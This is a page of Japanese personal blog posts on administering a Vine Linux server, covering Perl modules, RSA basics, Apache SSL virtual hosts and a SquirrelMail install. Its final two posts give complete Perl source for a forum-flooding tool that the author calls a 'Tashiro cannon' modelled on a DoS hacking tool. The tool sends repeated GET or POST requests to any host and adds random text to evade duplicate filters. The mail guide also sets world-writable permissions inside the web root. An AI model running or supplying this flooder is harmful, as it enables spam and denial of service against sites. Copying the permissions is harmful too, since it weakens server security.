Category Archives: Linux (Server) - Page 15

Imagerのインストール Vine Linux 5.0 Perl

更新
# apt-get update
# apt-get upgrade
ライブラリーをインストール
# apt-get install libpng-devel libjpeg-devel giflib-devel
※これらのライブラリがないと上手く動かない。

# cpan
> install Imager
でインストールする。

もしも、インストールした後にライブラリ入れてエラーが出て認識されない場合。
# cpan
> force install Imager
でインストールする。

Perl モジュール Image::Magick VineLinux 5.0

新しいプログラムを考える上でどうしても必要になったのでインストール方法を探して
いましたが見つからなくて困っていました^^;

おそらくインストールできたので一応紹介しておきます。
※この方法はVineLinux(5.0)用です。
まず、普通に
# cpan
cpan[1]> install Image::Magick
とするとエラーでインストールできません。

下記のコマンドを実行します。
# apt-cache search ImageMagick | grep perl

おそらくImageMagick-perlが必要と言われるので
# apt-get install ImageMagick-perl
でインストールします。

再度下記を実行すると旨くインストールできます。
# cpan
cpan[1]> install Image::Magick

インストールできたか確認方法
# perl -MImage::Magick -e ”
と実行し何も出なかったらインストールに成功しています。

[おまけ]
もしもCan’t locate …………………..と出たらインストールされていません。

RSA暗号化について

暗号化の方法がとても気になったので調べてみました。
※特に可逆暗号化と公開鍵暗号についてです。

RSAの式(暗号化)
C = M^e (mod n)

調べてみたら呆気にとられるくらい簡単で単純です。

^(キャロット)は累乗という意味です。
modは除算した時に発生する余りを意味します。
Cが暗号化された文章を意味します。
Mは平文を意味します。
要するにCは平文Mをe乗してnで割った余りであると言うことになります。

今日は徹夜明けなので頭がボーっとしてまともに物事を考えられないので近いうちに
暗号化と複合化するプログラムを書いて見ます。

参考元:はやわかり RSA
参考元:ASCIIコードと文字の相互変換

VirtualHostでSSL接続

非常に困りました^^;
彼の野原 – FrontPage様よりワイルドカードを使った証明書を作成しました。

ですが、/etc/apache2/conf.d/ssl.confになんて記述してよいのか分からない(汗
エラーが起きてしまいます。

結局NameVirtualHost *:443を記述していないと言うことに気づくのに1時間ほどかかってしまいました^^;

追記した内容

NameVirtualHost *:443

<virtualHost *:443>
SSLEngine on
ServerName mail.orsx.net
DocumentRoot /var/www/html/webmail/
## certificate file path below
SSLCertificateFile /usr/share/ssl/certs/server.pem
SSLCertificateKeyFile /usr/share/ssl/certs/server.key
<directory /var/www/html/webmail/>
AllowOverride None
Options ExecCGI
Order allow,deny
Allow from all
</directory>
CustomLog /var/log/apache2/ssl_request_log 
"%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x "%r" %b"
</virtualHost>

VineLinux 5 アップグレード

アップグレード後の問題点がいくつかありました。
まず、テキストエディタがエラーでバージョンアップできない。
UPS制御ソフトが起動しない。
SquirrelMail にログインできない。
Puttyが文字化けする。
ネットワークが不安定。
phpAdminで以下の様な警告が出る。
“お使いの PHP MySQL ライブラリのバージョン 5.1.36 が MySQL サーバのバージョン 5.0.27 と異なります。これは予期しない不具合を起こす可能性があります。”

解決しなければならないけどちょっと困った^^;

Apache2が自動起動しないので起動させるようにする。
# chkconfig apache2 on

Puttyはウインドウ→変換からUTF-8を選択して問題を解決。

パッケージマネージャーからMySQLをアップデートするとphpAdminの警告は表示されなくなった。

パッケージマネージャーから全てアップデートするとUPSの制御ソフトが起動した。

エディタ未だ解決できず。

ネットワークが繋がるのにクライアント側から繋がらなくなる謎の現象の解決
サーバとして利用するにVineLinux 5にはNetworkManagerが新しく入ってるのかな^^;
こいつがFedoraの時みたいに邪魔をするので停止する。
FedoraのようにGUIで停止できないのでコマンドで操作する。
# /etc/rc.d/init.d/NetworkManager stop
ネットワーク設定から編集してNetworkManagerで管理しないようにする。
代わりにinit/networkを利用するため起動する。
# /etc/init.d/network start
これで謎な問題を解決。

# vi /etc/sysconfig/network-scripts/ifcfng-eth1
=============================
DEVICE=eth1
BOOTPROTO=none
HWADDR=00:30:48:81:1F:73
ONBOOT=yes
IPADDR=192.168.24.5
NETMASK=255.255.255.0
GATEWAY=192.168.24.1
DNS1=192.168.24.1
DOMAIN=’orsx.net’
TYPE=Ethernet
NM_CONTROLLED=yes
IPV6INIT=no
USERCTL=no
=============================

解説しているサイトを見つけました。
従来のネットワーク設定

SquirrelMail にログインできないのは普通のメールソフトを使ってもログインできない事が判明。

POPサーバをdovecotへ変更したところ無事接続できるようになりました。
WebMailはSquirrelMail 1.5.2を使っていたものをバージョンダウンさせたところログインできるようになりました。
※ただし、愛称が悪いためか日本語表記できません。

速報 Vine Linux 5 公開!!

Vine Linux 5が公開されましたね
まぁ、そろそろ来るだろうと考えていましたからね~

私にとっては一大事です。
何故かと言いますとこのサーバのOSがVineLinuxで動いているからです。

ともかくダウンロードは下記のサイトから
Vine Linuxの世界へようこそ

いつもお世話になっていますからね^^
研究・作成している方々に感謝します。

さて、いつアップグレードしましょうか・・・・・・・・

SSLとバーチャルホストのトラブル

SSLの導入に再チャレンジして分かった事は最初から出来ていたとです(苦笑

問題はSSLとバーチャルホストとの関係
SSLはホスト名チェックで複数のサブドメインに対応しないので証明書で
複数のサブドメインを認識しなければならない。

これは、予想外な展開。確かにいわれてみれば当たり前ですが。。。。。
どうするかな^^;
正直今は時間無いんですよね(汗

そこで一つメモです。
SubjectAltName
これが大きなヒントになるのではないのかと考えています。

VineLinux SquirrelMail 1.5.2 アップグレード(日本語化)

 以前使用していたSquirrelMail-1.4.10a-jaは届いたメールが新しい順番に並ばなくメールを探すのが大変でした^^;
しかもXSS攻撃の対策がされていないとか。。。。。
それで今回、最新版?なのかな?にアップロードしました。

外付けHDDへ、バックアップをとります。
※ 私の環境では、/var/www/html/webmailにインストールしてあります。
# mv /var/www/html/webmail /media/BACKUP/webmail

SquirrelMail 1.5.2をダウンロードする為に公式サイト(English)へ行きます。
(http://www.squirrelmail.org/download.php)
WS000038
URLをコピーします。

端末(ターミナル)に下記のコマンドを入力します。※ rootディレクトリに保存します。
# wget http://www.squirrelmail.org/countdl.php?fileurl=http%3A%2F%2Fsnapshots.squirrelmail.org%2Fsquirrelmail-20090830_0200-SVN.devel.tar.gz

日本語化ファイルをダウンロードします。
配布元サイト
(http://sourceforge.net/projects/squirrelmail/files/locales/1.4.9-20070106/)
# wget http://downloads.sourceforge.net/squirrelmail/ja_JP-1.4.9-20070106.tar.gz?modtime=1168106199&big_mirror=1

インストール先ディレクトリへ移動します。
# cd /var/www/html

SquirrelMail(本体)を解凍します。
# tar zxvf /root/squirrelmail-20090830_0200-SVN.devel.tar.gz
リネームします。
# mv squirrelmail.devel webmail

日本語化ファイルを解凍します。
# tar zxfv ja_JP-1.4.9-20070106.tar.gz
インストールします。
# ./install
インストール先を聞かれるので以下のように指定します。
Please enter path to your squirrelmail installation:/var/www/html/webmail

下記のディレクトリを作成します。
※ そのままアクセスするとエラーが発生します。
# mkdir /var/www/html/webmail/data
# mkdir /var/www/html/webmail/attach/
書き込めるようにパーミッションを変更します。
# chmod 777 /var/www/html/webmail/data
# chmod 777 /var/www/html/webmail/attach/

不要になったファイルやディレクトリの削除します。
# rm -f ./install
# rm -f /help
# rm -f /locale
# rm -f zxfv ja_JP-1.4.9-20070106.tar.gz
# rm -f ja_JP-1.4.9-20070106.tar.gz

設定します。
# cd /var/www/html/webmail
# ./configure

サーバーの選択をします。
SquirrelMail Configuration : Read: config_default.php (1.5.0)
———————————————————
Main Menu —
1. Organization Preferences
2. Server Settings
3. Folder Defaults
4. General Options
5. Themes
6. Address Books
7. Message of the Day (MOTD)
8. Plugins
9. Database
10. Languages

D. Set pre-defined settings for specific IMAP servers

C Turn color on
S Save data
Q Quit

Command >> d

SquirrelMail Configuration : Read: config_default.php
———————————————————
While we have been building SquirrelMail, we have discovered some
preferences that work better with some servers that don’t work so
well with others. If you select your IMAP server, this option will
set some pre-defined settings for that server.

Please note that you will still need to go through and make sure
everything is correct. This does not change everything. There are
only a few settings that this will change.

Please select your IMAP server:
cyrus = Cyrus IMAP server
uw = University of Washington’s IMAP server
exchange = Microsoft Exchange IMAP server
courier = Courier IMAP server
macosx = Mac OS X Mailserver
hmailserver = hMailServer
quit = Do not change anything
Command >> courier

imap_server_type = courier
default_folder_prefix = INBOX.
trash_folder = Trash
sent_folder = Sent
draft_folder = Drafts
show_prefix_option = false
default_sub_of_inbox = false
show_contain_subfolders_option = false
optional_delimiter = .
delete_folder = true

Press any key to continue…”Enter”

ログアウト時のディレクトリを指定します。
SquirrelMail Configuration : Read: config_default.php (1.5.0)
———————————————————
Main Menu —
1. Organization Preferences
2. Server Settings
3. Folder Defaults
4. General Options
5. Themes
6. Address Books
7. Message of the Day (MOTD)
8. Plugins
9. Database
10. Languages

D. Set pre-defined settings for specific IMAP servers

C Turn color on
S Save data
Q Quit

Command >> 1

SquirrelMail Configuration : Read: config_default.php (1.5.0)
———————————————————
Organization Preferences
1. Organization Name : SquirrelMail
2. Organization Logo : ../images/sm_logo.png
3. Org. Logo Width/Height : (308/111)
4. Organization Title : SquirrelMail $version
5. Signout Page :
6. Top Frame : _top
7. Provider link : http://www.squirrelmail.org/
8. Provider name : SquirrelMail

R Return to Main Menu
C Turn color on
S Save data
Q Quit

Command >> 5

When users click the Sign Out button they will be logged out and
then sent to signout_page. If signout_page is left empty,
(hit space and then return) they will be taken, as normal,
to the default and rather sparse SquirrelMail signout page.

[]: /
※ バーチャルホストに/var/www/html/webmailを割り当てていますので/を指定しました。

SquirrelMail Configuration : Read: config_default.php (1.5.0)
———————————————————
Organization Preferences
1. Organization Name : SquirrelMail
2. Organization Logo : ../images/sm_logo.png
3. Org. Logo Width/Height : (308/111)
4. Organization Title : SquirrelMail $version
5. Signout Page : /webmail
6. Top Frame : _top
7. Provider link : http://www.squirrelmail.org/
8. Provider name : SquirrelMail

R Return to Main Menu
C Turn color on
S Save data
Q Quit

Command >> r

ドメインを設定します。
SquirrelMail Configuration : Read: config_default.php (1.5.0)
———————————————————
Main Menu —
1. Organization Preferences
2. Server Settings
3. Folder Defaults
4. General Options
5. Themes
6. Address Books
7. Message of the Day (MOTD)
8. Plugins
9. Database
10. Languages

D. Set pre-defined settings for specific IMAP servers

C Turn color on
S Save data
Q Quit

Command >> 2

SquirrelMail Configuration : Read: config_default.php (1.5.0)
———————————————————
Server Settings

General
——-
1. Domain : example.com
2. Invert Time : false
3. Sendmail or SMTP : SMTP

A. Update IMAP Settings : localhost:143 (courier)
B. Update SMTP Settings : localhost:25

R Return to Main Menu
C Turn color on
S Save data
Q Quit

Command >> 1

The domain name is the suffix at the end of all email addresses. If
for example, your email address is jdoe@example.com, then your domain
would be example.com.

[example.com]: mail.orsx.net

SquirrelMail Configuration : Read: config_default.php (1.5.0)
———————————————————
Server Settings

General
——-
1. Domain : xxxxx.com
2. Invert Time : false
3. Sendmail or SMTP : SMTP

A. Update IMAP Settings : localhost:143 (courier)
B. Update SMTP Settings : localhost:25

R Return to Main Menu
C Turn color on
S Save data
Q Quit

Command >> r

言語を設定します。
SquirrelMail Configuration : Read: config_default.php (1.5.0)
———————————————————
Main Menu —
1. Organization Preferences
2. Server Settings
3. Folder Defaults
4. General Options
5. Themes
6. Address Books
7. Message of the Day (MOTD)
8. Plugins
9. Database
10. Languages

D. Set pre-defined settings for specific IMAP servers

C Turn color on
S Save data
Q Quit

Command >> 10

SquirrelMail Configuration : Read: config_default.php (1.5.0)
———————————————————
Language preferences
1. Default Language : en_US
2. Default Charset : iso-8859-1
3. Enable lossy encoding : false

R Return to Main Menu
C Turn color on
S Save data
Q Quit

Command >> 1

SquirrelMail attempts to set the language in many ways. If it
can not figure it out in another way, it will default to this
language. Please use the code for the desired language.

[en_US]: ja_JP

SquirrelMail Configuration : Read: config_default.php (1.5.0)
———————————————————
Language preferences
1. Default Language : ja_JP
2. Default Charset : iso-8859-1
3. Enable lossy encoding : false

R Return to Main Menu
C Turn color on
S Save data
Q Quit

Command >> 2

This option controls what character set is used when sending
mail and when sending HTML to the browser.

This option is used only when default language is ‘en_US’.

[iso-8859-1]: iso-2022-jp

SquirrelMailのバージョン非表示にする。
SquirrelMail Configuration : Read: config_default.php (1.5.0)
———————————————————
Language preferences
1. Default Language : ja_JP
2. Default Charset : iso-2022-jp
3. Enable lossy encoding : false

R Return to Main Menu
C Turn color on
S Save data
Q Quit

Command >> r

SquirrelMail Configuration : Read: config_default.php (1.5.0)
———————————————————
Main Menu —
1. Organization Preferences
2. Server Settings
3. Folder Defaults
4. General Options
5. Themes
6. Address Books
7. Message of the Day (MOTD)
8. Plugins
9. Database
10. Languages

D. Set pre-defined settings for specific IMAP servers

C Turn color on
S Save data
Q Quit

Command >> 4

SquirrelMail Configuration : Read: config_default.php (1.5.0)
———————————————————
General Options
1. Data Directory : ../data/
2. Attachment Directory : $data_dir
3. Directory Hash Level : 0
4. Default Left Size : 150
5. Usernames in Lowercase : false
6. Allow use of priority : true
7. Hide SM attributions : false
8. Allow use of receipts : true
9. Allow editing of identity : true
Allow editing of name : true
Remove username from header : false
10. Allow server thread sort : false
11. Allow server-side sorting : false
12. Allow server charset search : true
13. Enable UID support : true
14. PHP session name : SQMSESSID

R Return to Main Menu
C Turn color on
S Save data
Q Quit

Command >> 7

Hide SM attributions (y/n) [n]: y

SquirrelMail Configuration : Read: config_default.php (1.5.0)
———————————————————
General Options
1. Data Directory : ../data/
2. Attachment Directory : $data_dir
3. Directory Hash Level : 0
4. Default Left Size : 150
5. Usernames in Lowercase : false
6. Allow use of priority : true
7. Hide SM attributions : true
8. Allow use of receipts : true
9. Allow editing of identity : true
Allow editing of name : true
Remove username from header : false
10. Allow server thread sort : false
11. Allow server-side sorting : false
12. Allow server charset search : true
13. Enable UID support : true
14. PHP session name : SQMSESSID

R Return to Main Menu
C Turn color on
S Save data
Q Quit

Command >> r

ディレクトリを設定します。

SquirrelMail Configuration : Read: config.php (1.5.0)
———————————————————
Main Menu —
1. Organization Preferences
2. Server Settings
3. Folder Defaults
4. General Options
5. Themes
6. Address Books
7. Message of the Day (MOTD)
8. Plugins
9. Database
10. Languages

D. Set pre-defined settings for specific IMAP servers

C Turn color on
S Save data
Q Quit

Command >> 4

1. Data Directory : /var/local/squirrelmail/data/
2. Attachment Directory : /var/local/squirrelmail/attach/
3. Directory Hash Level : 0
4. Default Left Size : 150
5. Usernames in Lowercase : false
6. Allow use of priority : true
7. Hide SM attributions : true
8. Allow use of receipts : true
9. Allow editing of identity : true
Allow editing of name : true
Remove username from header : false
10. Allow server thread sort : false
11. Allow server-side sorting : false
12. Allow server charset search : true
13. Enable UID support : true
14. PHP session name : SQMSESSID
15. Location base :

R Return to Main Menu
C Turn color on
S Save data
Q Quit

Command >> 1

Specify the location for your data directory.
The path name can be absolute or relative (to the config directory).
You probably need to create this directory yourself. Here are two examples:
Absolute: /var/local/squirrelmail/data/
Relative: ../data/
Relative paths to directories outside of the SquirrelMail distribution
will be converted to their absolute path equivalents in config.php.

Note: There are potential security risks with having a writable directory
under the web server’s root directory (ex: /home/httpd/html).
For this reason, it is recommended to put the data directory
in an alternate location of your choice.

[/var/local/squirrelmail/data/]: /var/www/html/webmail/data

1. Data Directory : /var/www/html/webmail/data/
2. Attachment Directory : /var/local/squirrelmail/attach/
3. Directory Hash Level : 0
4. Default Left Size : 150
5. Usernames in Lowercase : false
6. Allow use of priority : true
7. Hide SM attributions : true
8. Allow use of receipts : true
9. Allow editing of identity : true
Allow editing of name : true
Remove username from header : false
10. Allow server thread sort : false
11. Allow server-side sorting : false
12. Allow server charset search : true
13. Enable UID support : true
14. PHP session name : SQMSESSID
15. Location base :

R Return to Main Menu
C Turn color on
S Save data
Q Quit

Command >> 2

Path to directory used for storing attachments while a mail is
being composed. The path name can be absolute or relative (to the
config directory). Here are two examples:
Absolute: /var/local/squirrelmail/attach/
Relative: ../attach/
Relative paths to directories outside of the SquirrelMail distribution
will be converted to their absolute path equivalents in config.php.

Note: There are a few security considerations regarding this
directory:
1. It should have the permission 733 (rwx-wx-wx) to make it
impossible for a random person with access to the webserver
to list files in this directory. Confidential data might
be laying around in there.
Depending on your user:group assignments, 730 (rwx-wx—)
may be possible, and more secure (e.g. root:apache)
2. Since the webserver is not able to list the files in the
content is also impossible for the webserver to delete files
lying around there for too long.
3. It should probably be another directory than the data
directory specified in option 3.

[/var/local/squirrelmail/attach/]: /var/www/html/webmail/attach/

General Options
1. Data Directory : /var/www/html/webmail/data/
2. Attachment Directory : /var/www/html/webmail/attach/
3. Directory Hash Level : 0
4. Default Left Size : 150
5. Usernames in Lowercase : false
6. Allow use of priority : true
7. Hide SM attributions : true
8. Allow use of receipts : true
9. Allow editing of identity : true
Allow editing of name : true
Remove username from header : false
10. Allow server thread sort : false
11. Allow server-side sorting : false
12. Allow server charset search : true
13. Enable UID support : true
14. PHP session name : SQMSESSID
15. Location base :

R Return to Main Menu
C Turn color on
S Save data
Q Quit

Command >> q

You have not saved your data.
Save? [Y/n]: y

これでインストール完了です。

成功するとログイン後以下の様な表示になります。
WS000033
メールアドレスや、その他の設定をここなうとオプション画面になります。

WS000034

テーマを変更し、メールボックスを表示したところです。
WS000037

凄いカッコいい!!
メールが順番に並んでるのもとても嬉しいですね~
一つ残念なのが検索すると検索した単語が激しく文字化けするところですね・・・
今度、解決方法を探してみます。

掲示板耐久性テスト プログラム Ver.2.0

 今朝投稿した掲示板耐久性テスト プログラムをもう一度改良しました。改良点はGETでデータを送信していたのをPOSTでも送信可能にしました。もう少し短くできそうなものなんですがね。。。。。。

[flashvideo filename=https://www.orsx.net/wp-content/uploads/2009/08/bbsDos.flv /]

#!/usr/bin/perl
#################################################
#ソフト名:掲示板耐久性テストプログラム
#バージョン:Ver.2.0
#ファイル名:bbsDos.pl
#作者:ORBIT
#作者HP:https://www.orsx.net/
#※悪戯の目的で使用しないでください。
#################################################

#IO::Socketモジュールを使用する
use IO::Socket;
#Socketモジュールを使用する
use Socket;

#アクセス先ホストの指定
while($host eq ""){
print "X"x"50"."n";
print "URL(ホスト名)を入力してくださいn";
print "> http://";
$host = <stdin>;
chomp $host;
if($host eq "quit"){exit;}
}

#ポートを指定するかユーザーへ質問する
print "X"x"50"."n";
print "ポート番号を指定しますか?[y/n]";
$q_port = <stdin>;
print "指定しない場合は80番ポートへアクセスしますn";
chomp $q_port;

#yが入力されたらポート番号が入力されるまで待機
if ($q_port eq "y"){
print "X"x"50"."n";
print "ポートを指定しますn";
print "> ";
$port = <stdin>;
chomp $port;
}else{
$port = "80";
}

#乱数を追記させるかを確認
print "X"x"50"."n";
print "送信するデータに乱数を追加しますか?[y/n]";
$r = <stdin>;
chomp $r;

#乱数を追記させるかを確認
if($r eq "y"){
print "X"x"50"."n";
print "乱数の文字数を指定してくださいn";
print "> ";
$rr = <stdin>;
chomp $rr;
$rr = "1" if($rr eq "");
}

#送信方法を確認
print "X"x"50"."n";
print "(GET/POST)どちらを利用しますか?[g/p]";
$net = <stdin>;
chomp $net;
if($net eq "p"){&post_set;}
if($net eq "g"){&get_set;}

#送信回数
print "X"x"50"."n";
print "ループさせる回数を指定してくださいn";
print "> ";
$loop = <stdin>;
chomp $loop;
if($loop eq "" || $loop eq "1"){
$loop = "2";
$ex = "1";
}
if($loop == "0"){
print "Error:0回のループは指定出来ません!n";
exit;
}
$loop-="1";

#スリープの設定
print "X"x"50"."n";
print "指定秒ウェイトを設定する場合は入力してくださいn";
print "> ";
$slp = <stdin>;
chomp $slp;

#指定させた数字になるまでループ
while($ex <= $loop){
#送信数のインクリメント
print "X"x"50"."n";
$exd = $exd+"1";
print "$exd回目n";

#割合
if($loop ne ""){
$sa = int(($ex/$loop)*"100");
print "進行状況:&#91;$sa%/100%&#93;を完了しましたn";
$ex +="1";
}

#送信サブルーチン呼び出し
if($net eq "p"){&post;}
if($net eq "g"){&get;}

#スリープ
print "$slp秒スリープしますn" if($slp ne "");
sleep $slp;
}

print "終了しましたn";

#------------------------------------------------
#サブルーチン
#------------------------------------------------

#----------------------------
#GET
#----------------------------
sub get_set{
#ファイルの場所の指定
print "X"x"50"."n";
print "URL(ファイルの場所と送信データ)を入力してくださいn";
print "乱数を追加しますのでコメントのname=で終了してくださいn" if($r eq "y");
print "> http://$host/";
$bbs = <stdin>;
chomp $bbs;
$bbs = "/".$bbs;
}

sub get{
#乱数格納
$bbs2=$bbs;
if ($r eq "y"){
my @alph = ("a".."z");
my $result = "";
foreach ("1".."$rr") {$result .= $alph[rand(@alph)];}
$bbs2.=$result;
}
#送信情報の出力
print "ホストへ以下の情報を送信中ですn";
print "$bbs2n";
#ホストへ接続を試みる
$socket = new IO::Socket::INET (
                                 PeerAddr => "$host",
                                 PeerPort => "$port",
                                 Proto => "tcp",
                                );
#送信
print $socket "GET $bbs2 HTTP/1.0nn";
close($socket);
}

#-----------------------------
#POST
#-----------------------------
sub post_set{
#ファイルまでのパスを指定
print "X"x"50"."n";
print "ファイルまでのパスを指定してくださいn";
print "> http://$host/";
$path = <stdin>;
chomp $path;

#送信データの確認
print "X"x"50"."n";
print "送信するデータを入力してくださいn";
print "乱数を追加しますのでコメントのname=で終了してくださいn" if($r eq "y");
print "> ";
$data = <stdin>;
}

sub post{
$data2=$data;
if ($r eq "y"){
my @alph = ("a".."z");
my $result = "";
foreach ("1".."$rr") {$result .= $alph[rand(@alph)];}
$data2.=$result;
}

#送信情報の出力
print "ホストへ以下の情報を送信中ですn";
print "$data2n";

#ホストへ接続を試みる
socket(SOCKET, PF_INET, SOCK_STREAM, 0);
connect(SOCKET, pack_sockaddr_in($port, inet_aton($host)));
select(SOCKET); $|=1; select(STDOUT);

#送信
print SOCKET "POST /$path HTTP/1.0rn";
print SOCKET "Content-Length: ".length($data2)."rn";
print SOCKET "rn";
print SOCKET $data2;
}

掲示板耐久性テスト プログラム

 現在掲示板を作成中ですが、またしても脆弱性を発見しましたので、今回は開き直ってある程度性能のある掲示板連続投票ソフトを作成しました。一般的に言われる田代砲です。
 通常はJava scriptで書かれていますが、勉強と関数の復習を兼ねてPerlを利用して作りました。
 以前紹介したDoS.Perl.BBDoS.aを参考に作るならもっとセンスのある洒落たツールをと言う事で、乱数を追加して送信できる機能を取り付けました。田代砲とするなら乱田代砲と名づけましょうか^^;

 私の知識不足でProxyリストを使い投稿ごとにアクセス元を変更する機能こそ付いていませんが、投稿内容が毎回変わるので掲示板管理者や作成者はとても対策に困る訳です。
※ (もちろん、一定時間ごとに投票させるスリープ機能は付けてあります。)
つまり、このツールを防げたらたいていの連続投票を防げるわけです。

※ このプログラムは悪戯目的に使用しないでください。
元はDos攻撃用ハッキングツールを参考にしていますので非常に危険です。

#!/usr/bin/perl
#################################################
#ソフト名:掲示板耐久性テストプログラム
#バージョン:Ver.1.0
#ファイル名:bbsDos.pl
#作者:ORBIT
#作者HP:https://www.orsx.net/
#※悪戯の目的で使用しないでください。
#################################################

#IO::Socketモジュールを使用する
use IO::Socket;

#アクセス先ホストの指定
while($host eq ""){
print "X"x"50"."n";
print "URL(ホスト名)を入力してくださいn";
print "> http://";
$host = <stdin>;
chomp $host;
if($host eq "quit"){exit;}
}

#ポートを指定するかユーザーへ質問する
print "X"x"50"."n";
print "ポート番号を指定しますか?[y/n]";
$q_port = <stdin>;
print "指定しない場合は80番ポートへアクセスしますn";
chomp $q_port;

#yが入力されたらポート番号が入力されるまで待機
if ($q_port eq "y"){
print "X"x"50"."n";
print "ポートを指定しますn";
print "> ";
$port = <stdin>;
chomp $port;
}else{
$port = "80";
}

#乱数を追記させるかを確認
print "X"x"50"."n";
print "送信するデータに乱数を追加しますか?[y/n]";
$r = <stdin>;
chomp $r;

#ファイルの場所の指定
print "X"x"50"."n";
print "URL(ファイルの場所と送信データ)を入力してくださいn";
print "乱数を追加しますのでコメントのname=で終了してくださいn" if($r eq "y");
print "> http://$host/";
$bbs = <stdin>;
chomp $bbs;
$bbs = "/".$bbs;

#送信回数
print "X"x"50"."n";
print "ループさせる回数を指定してくださいn";
print "> ";
$loop = <stdin>;
chomp $loop;
if($loop eq "" || $loop eq "1"){
$loop = "2";
$ex = "1";
}
if($loop == "0"){
print "Error:0回のループは指定出来ません!n";
exit;
}
$loop-="1";

#スリープの設定
print "X"x"50"."n";
print "指定秒ウェイトを設定する場合は入力してくださいn";
print "> ";
$slp = <stdin>;
chomp $slp;

#指定させた数字になるまでループ
while($ex <= $loop){
print "X"x"50"."n";
$bbs2=$bbs;
#乱数格納
if ($r eq "y"){
$rr = rand("1000");
$bbs2.=$rr;
}

#送信数のインクリメント
$exd = $exd+"1";
print "$exd回目n";

#割合
if($loop ne ""){
$sa = int(($ex/$loop)*"100");
print "進行状況:&#91;$sa%/100%&#93;を完了しましたn";
$ex +="1";
}

#送信情報の出力
print "ホストへ以下の情報を送信中ですn";
print "$bbs2n";
#ホストへ接続を試みる
$socket = new IO::Socket::INET (
                                 PeerAddr => "$host",
                                 PeerPort => "$port",
                                 Proto => "tcp",
                                );
die "Error:ホストに接続できませんでした!n" unless $socket;
#送信
print $socket "GET $bbs2 HTTP/1.0nn";
close($socket);

#スリープ
print "$slp秒スリープしますn" if($slp ne "");
sleep $slp;
}

print "終了しましたn"